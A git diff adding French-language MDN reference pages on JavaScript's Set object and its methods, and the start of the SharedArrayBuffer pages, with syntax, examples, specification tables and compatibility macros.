+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.forEach")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/has/index.html b/files/fr/web/javascript/reference/objets_globaux/set/has/index.html
new file mode 100644
index 0000000000..08f9fcb55f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/has/index.html
@@ -0,0 +1,91 @@
+---
+title: Set.prototype.has()
+slug: Web/JavaScript/Reference/Objets_globaux/Set/has
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/has
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>has()</strong></code> renvoie un booléen qui indique s'il existe un élément de l'ensemble <code>Set</code> avec une certaine valeur.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-has.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>monSet</var>.has(<var>valeur</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Ce paramètre est obligatoire. C'est la valeur dont on souhaite savoir si elle est présente ou non dans l'objet <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen : <code>true</code> s'il existe un élément avec la valeur donnée au sein du <code>Set</code>, <code>false</code> sinon.</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'existence d'un élément avec la valeur testée est vérifiée avec <a href="/fr/docs/Web/JavaScript/Les_différents_tests_d_égalité#Égalité_de_valeurs_nulles">l'algorithme d'égalité des valeurs nulles (<code><em>sameValueZero</em></code>)</a>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var monSet = new Set();
+monSet.add("toto");
+
+monSet.has("toto");  // renvoie true
+monSet.has("truc");  // renvoie false
+
+var set1 = new Set();
+var obj1 = {'cle1': 1};
+set1.add(obj1);
+
+set1.has(obj1);        // renvoie true
+set1.has({'cle1': 1}); // renvoie false car ce sont deux objets distincts
+set1.add({'cle1': 1}); // set1 contient désormais 2 éléments
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.has")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.add()")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/index.html b/files/fr/web/javascript/reference/objets_globaux/set/index.html
new file mode 100644
index 0000000000..9b44936cbc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/index.html
@@ -0,0 +1,249 @@
+---
+title: Set
+slug: Web/JavaScript/Reference/Objets_globaux/Set
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Set</code></strong> (Ensemble en français) permet de stocker des valeurs <em>uniques</em>, de n'importe quel type, que ce soit des valeurs d'un {{Glossary("Primitive", "type primitif")}} ou des objets.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"> new Set([itérable]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>itérable</code></dt>
+ <dd>Paramètre optionnel. Si un objet <a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">itérable </a>est donné comme argument, l'ensemble de ses éléments sera ajouté au nouvel objet Set. Si {{jsxref("null")}} est fourni comme argument ou qu'aucun argument n'est fourni, il sera traité comme {{jsxref("undefined")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Set</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets <code>Set</code> sont des ensembles de valeurs. Il est possible d'itérer sur les éléments contenus dans l'objet <code>Set</code> dans leur ordre d'insertion. <strong>Une valeur donnée ne peut apparaître qu'une seule fois par <code>Set</code>.</strong></p>
+
+<h3 id="Égalité_des_valeurs">Égalité des valeurs</h3>
+
+<p>Chaque valeur d'un <code>Set</code> doit être unique, il faut donc tester l'égalité des valeurs contenues. Cette égalité n'est pas la même que celle de l'opérateur ===. Notamment, pour les objets <code>Set</code>, <code>+0</code> (qui, selon l'égalité stricte, est égal à <code>-0</code>) et <code>-0</code> sont des valeurs différentes. Cela a toutefois été changé avec la dernière version d'ECMAScript 2015 (ES6). Voir le tableau de compatibilité ci-après quant à la prise en charge de l'égalité des clés pour <code>0</code> et <code>-0</code>.</p>
+
+<p>{{jsxref("NaN")}} and {{jsxref("undefined")}} peuvent être enregistrés dans un objet <code>Set</code>. <code>NaN</code> est considéré comme <code>NaN</code> (bien que <code>NaN !== NaN</code>).</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Set.length</code></dt>
+ <dd>La valeur de la propriété <code>length</code> est 0.
+ <div class="note"><strong>Note :</strong> Pour compter le nombre d'éléments d'un objet <code>Set</code>, on utilisera {{jsxref("Set.prototype.size")}}.</div>
+ </dd>
+ <dt>{{jsxref("Set.@@species", "get Set[@@species]")}}</dt>
+ <dd>Le constructeur utilisé pour créer des objets dérivés.</dd>
+ <dt>{{jsxref("Set.prototype")}}</dt>
+ <dd>Représente le prototype du constructeur <code>Set</code>. Cela permet d'ajouter des propriétés à tous les objets <code>Set</code>.</dd>
+</dl>
+
+<h2 id="Instances_de_Set">Instances de <code>Set</code></h2>
+
+<p>Toutes les instances de <code>Set</code> héritent de {{jsxref("Set.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Set/prototype','Propriétés')}}</p>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Set/prototype','Méthodes')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_l'objet_Set">Utiliser l'objet <code>Set</code></h3>
+
+<pre class="brush: js">var monSet = new Set();
+
+monSet.add(1);         // { 1 }
+monSet.add(5);         // { 1, 5 }
+monSet.add("du texte");// { 1, 5, "du texte" }
+
+monSet.has(1); // true
+monSet.has(3); // false, 3 n'a pas été ajouté à l'ensemble
+monSet.has(5);              // true
+monSet.has(Math.sqrt(25));  // true
+monSet.has("Du Texte".toLowerCase()); // true
+
+monSet.size; // 3
+
+monSet.delete(5); // retire 5 du set
+monSet.has(5);    // false, 5 a été retiré de l'ensemble
+
+monSet.size; // 2, on a retiré une valeur de l'ensemble
+console.log(monSet); // Set [ 1, "du texte" ]
+</pre>
+
+<h3 id="Itérer_sur_des_ensembles_(Set)">Itérer sur des ensembles (<code>Set</code>)</h3>
+
+<pre class="brush: js">// On itère sur les différents éléments de l'ensemble
+// ici on affiche : 1, "du texte"
+for (let item of monSet) console.log(item);
+
+// ici on affiche les clés de l'ensemble : 1, "du texte"
+for (let item of monSet.keys()) console.log(item);
+
+// ici on affiche les valeurs de l'ensemble : 1, "du texte"
+for (let item of monSet.values()) console.log(item);
+
+// ici on affiche les clés de l'ensemble : 1, "du texte"
+//(ici, les clés et les valeurs sont les mêmes)
+for (let [clé, valeur] of monSet.entries()) console.log(clé);
+
+// Une méthode de conversion avec Array.from
+var monTableau = Array.from(monSet);    // [1, "du texte"]
+
+// Cela fonctionnera également dans un document HTML
+monSet.add(document.body);
+monSet.has(document.querySelector("body")); // true
+
+// convertir un tableau (Array) en ensemble (Set) et vice versa
+monSet2 = new Set([1,2,3,4]);
+monSet2.size; // 4
+[...monSet2]; // [1,2,3,4]
+
+// L'intersection peut être calculée avec
+var intersection = new Set([...set1].filter(x =&gt; set2.has(x)));
+
+// La différence pourra être simulée avec
+var différence = new Set([...set1].filter(x =&gt; !set2.has(x)));
+
+// On peut itérer sur les entrées d'un ensemble avec forEach
+mySet.forEach(function(value) {
+  console.log(value);
+});
+
+// 1
+// 2
+// 3
+// 4</pre>
+
+<h3 id="Implémenter_des_opérations_ensemblistes">Implémenter des opérations ensemblistes</h3>
+
+<pre class="brush: js">function isSuperset(set, subset) {
+  for (var elem of subset) {
+    if (!set.has(elem)) {
+      return false;
+    }
+  }
+  return true;
+}
+
+function union(setA, setB) {
+  var union = new Set(setA);
+  for (var elem of setB) {
+    union.add(elem);
+  }
+  return union;
+}
+
+function intersection(setA, setB) {
+  var intersection = new Set();
+  for (var elem of setB) {
+    if (setA.has(elem)) {
+      intersection.add(elem);
+    }
+  }
+  return intersection;
+}
+
+function difference (setA, setB) {
+  var difference = new Set(setA);
+  for (var elem of setB) {
+    difference.delete(elem);
+  }
+  return difference;
+}
+
+// Exemples
+var setA = new Set([1,2,3,4]),
+    setB = new Set([2,3]),
+    setC = new Set([3,4,5,6]);
+
+isSuperset(setA, setB);   // =&gt; true
+union(setA, setC);        // =&gt; Set [1, 2, 3, 4, 5, 6]
+intersection(setA, setC); // =&gt; Set [3, 4]
+difference(setA, setC);   // =&gt; Set [1, 2]
+</pre>
+
+<h3 id="Les_relations_avec_les_objets_Array">Les relations avec les objets <code>Array</code></h3>
+
+<pre class="brush: js">var monTableau = ["valeur1", "valeur2", "valeur3"];
+
+// On peut utiliser le constructeur Set pour transformer un Array en Set
+var monSet = new Set(monTableau);
+
+monSet.has("valeur1"); // renvoie true
+
+// Et utiliser l'opérateur de décomposition pour transformer un Set en Array.
+console.log([...monSet]); // affichera la même chose que monTableau</pre>
+
+<h3 id="Les_relations_avec_les_objets_String">Les relations avec les objets <code>String</code></h3>
+
+<pre>var maChaine = "CouCou";
+
+var monEnsemble = new Set(maChaine);
+// Set {"C","o","u" }
+monEnsemble.size; // 3
+</pre>
+
+<h3 id="Dédoublonner_un_tableau">Dédoublonner un tableau</h3>
+
+<pre class="brush: js">const nombres = [2,3,4,4,2,2,2,4,4,5,5,6,6,7,5,32,3,4,5];
+console.log([...new Set(nombres)]);
+// affichera [2, 3, 4, 5, 6, 7, 32]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/set/prototype/index.html
new file mode 100644
index 0000000000..995407dbfc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/prototype/index.html
@@ -0,0 +1,87 @@
+---
+title: Set.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Set/prototype
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Set.prototype</strong></code> représente le prototype pour le constructeur {{jsxref("Set")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("Set")}} héritent de {{jsxref("Set.prototype")}}. Le prototype peut être utilisé afin d'ajouter des propriétés (valeurs ou méthodes) à toutes les instances de <code>Set</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Set.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui crée le prototype d'une instance. Par défaut, ce sera la fonction {{jsxref("Set")}}.</dd>
+ <dt>{{jsxref("Set.prototype.size")}}</dt>
+ <dd>Renvoie le nombre de valeurs contenues dans l'objet <code>Set</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Set.add", "Set.prototype.add(valeur)")}}</dt>
+ <dd>Ajoute un nouvel élément à l'objet <code>Set</code> avec la valeur donnée. La valeur de retour est l'objet <code>Set</code>.</dd>
+ <dt>{{jsxref("Set.prototype.clear()")}}</dt>
+ <dd>Retire tous les éléments de l'objet <code>Set</code>.</dd>
+ <dt>{{jsxref("Set.delete", "Set.prototype.delete(valeur)")}}</dt>
+ <dd>Retire l'élément associé à la <code>valeur</code> et renvoie la valeur que <code>Set.prototype.has(valeur)</code> aurait renvoyé. <code>Set.prototype.has(valeur)</code> renverra <code>false</code> après la suppression.</dd>
+ <dt>{{jsxref("Set.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Iterator</code> qui contient un tableau de<strong> <code>[valeur, valeur]</code></strong> pour chaque élément de l'objet <code>Set</code>, dans l'ordre dans lequel les valeurs ont été insérées. On aura donc une structure semblable à un objet <code>Map</code>. Ici, chaque entrée aura la même valeur pour la <em>clé</em> et la <em>valeur</em>.</dd>
+ <dt>{{jsxref("Set.forEach", "Set.prototype.forEach(fnCallback[, thisArg])")}}</dt>
+ <dd>Appelle la fonction <code>fnCallback</code> pour chaque valeur présente dans l'objet <code>Set</code>, dans l'ordre dans lequel elles ont été insérées. Si un paramètre <code>thisArg</code> est fourni à <code>forEach</code>, il sera utilisé comme valeur de <code>this</code> pour chaque appel de la fonction de callback.</dd>
+ <dt>{{jsxref("Set.has", "Set.prototype.has(valeur)")}}</dt>
+ <dd>Renvoie un booléen qui indique si un des éléments de l'ensemble possède cette valeur.</dd>
+ <dt>{{jsxref("Set.prototype.values()","Set.prototype.keys()")}}</dt>
+ <dd>Cette fonction correspond à la fonction <strong><code>values()</code></strong> et renvoie un nouvel objet <code>Iterator</code> qui contient les valeurs correspondant à chaque élément de <code>Set</code> dans l'ordre dans lequel ils ont été insérés.</dd>
+ <dt>{{jsxref("Set.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Iterator</code> qui contient les valeurs pour chacun des éléments de l'objet <code>Set</code>, dans l'ordre dans lequel ils ont été insérés.</dd>
+ <dt>{{jsxref("Set.prototype.@@iterator()","Set.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Iterator</code> qui contient les valeurs pour chaque élément de l'objet <code>Set</code> dans leur ordre d'insertion.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype', 'Set.prototype')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype', 'Set.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/size/index.html b/files/fr/web/javascript/reference/objets_globaux/set/size/index.html
new file mode 100644
index 0000000000..83a5b8c9b7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/size/index.html
@@ -0,0 +1,67 @@
+---
+title: Set.prototype.size
+slug: Web/JavaScript/Reference/Objets_globaux/Set/size
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/size
+---
+<div>{{JSRef}}</div>
+
+<p>L'accesseur <code><strong>size</strong></code> est une propriété qui renvoie le nombre d'éléments contenus dans un objet {{jsxref("Set")}}. Un objet <code>Set</code> correspondant à un ensemble, chaque élément qu'il contient y est unique.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-size.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur de <code>size</code> est un entier représentant le nombre d'éléments contenus dans l'ensemble. Le mutateur associée pour <code>size</code> vaut {{jsxref("undefined")}}. Cette propriété ne peut pas être changée directement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var monSet = new Set();
+monSet.add(1);
+monSet.add(5);
+monSet.add("du texte")
+
+monSet.size; // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-set.prototype.size', 'Set.prototype.size')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-set.prototype.size', 'Set.prototype.size')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/values/index.html b/files/fr/web/javascript/reference/objets_globaux/set/values/index.html
new file mode 100644
index 0000000000..2e1ab4b178
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/values/index.html
@@ -0,0 +1,78 @@
+---
+title: Set.prototype.values()
+slug: Web/JavaScript/Reference/Objets_globaux/Set/values
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/values
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>values()</strong></code> renvoie un nouvel objet {{jsxref("Iterator")}} qui contient les valeurs de chaque élément de l'objet <code>Set</code>, dans leur ordre d'insertion.</p>
+
+<p>La méthode <strong><code>keys()</code></strong> est un alias pour cette méthode (afin de conserver une certaine similarité avec les objets {{jsxref("Map")}}) et se comportera exactement de la même façon en renvoyant les <strong>valeurs</strong> des éléments du <code>Set</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-values.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>monSet</var>.values();
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Iterator</code> qui contient les valeurs de chaque élément de l'ensemble <code>Set</code>, dans leur ordre d'insertion.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var monSet = new Set();
+monSet.add("toto");
+monSet.add("truc");
+monSet.add("machin");
+
+var setIter = monSet.values();
+
+console.log(setIter.next().value); // "toto"
+console.log(setIter.next().value); // "truc"
+console.log(setIter.next().value); // "machin"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.values")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.entries()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/bytelength/index.html b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/bytelength/index.html
new file mode 100644
index 0000000000..d05477184d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/bytelength/index.html
@@ -0,0 +1,62 @@
+---
+title: SharedArrayBuffer.prototype.byteLength
+slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/byteLength
+tags:
+  - JavaScript
+  - Mémoire partagée
+  - Propriété
+  - Reference
+  - SharedArrayBuffer
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/byteLength
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété d'accesseur <code><strong>byteLength</strong></code> représente la longueur d'un {{jsxref("SharedArrayBuffer")}} exprimée en octets.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/sharedarraybuffer-bytelength.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>sab</var>.byteLength</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>byteLength</code> est une propriété d'accesseur dont le mutateur associé vaut <code>undefined</code>. Autrement dit, cette propriété est en lecture seule. La valeur est établie lorsque le tableau partagé est construit et elle ne peut être modifiée par la suite.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var sab = new SharedArrayBuffer(1024);
+sab.byteLength; // 1024
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-sharedarraybuffer.prototype.bytelength', 'SharedArrayBuffer.prototype.byteLength')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.SharedArrayBuffer.byteLength")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/index.html b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/index.html
new file mode 100644
index 0000000000..b5c3a36e27
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/index.html
@@ -0,0 +1,135 @@
+---
+title: SharedArrayBuffer
+slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer
+tags:
+  - Constructeur
+  - JavaScript
+  - Mémoire partagée
+  - Reference
+  - SharedArrayBuffer
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>SharedArrayBuffer</code></strong> est utilisé afin de représenter un tampon de données binaires brutes générique de longueur fixe. Il est semblable à l'objet {{jsxref("ArrayBuffer")}} mais peut ici être utilisé pour créer différentes vues sur une même mémoire partagée. À la différence d'un <code>ArrayBuffer</code>, un <code>SharedArrayBuffer</code> ne peut pas être détaché.</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'objet <code>SharedArrayBuffer</code> a été désactivé le 5 janvier 2018 par défaut pour l'ensemble des principaux navigateurs afin de réduire <a href="https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/">les failles Meltdown et Spectre</a>. <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=821270">Chrome a réactivé cet objet avec la version 67</a> pour les plateformes sur lesquelles des fonctionnalités sont présentes pour protéger des vulnérabilités telles que Spectre (« <em>site-isolation feature</em> »)</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/sharedarraybuffer-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+
+<pre class="syntaxbox">new SharedArrayBuffer([<var>length</var>])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>longueur</code></dt>
+ <dd>La taille, exprimée en octets, du tampon (<em>buffer</em>) de données qu'on souhaite créer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>SharedArrayBuffer</code> de la taille donnée, dont les éléments sont initialisés à 0.</p>
+
+<h2 id="Description">Description</h2>
+
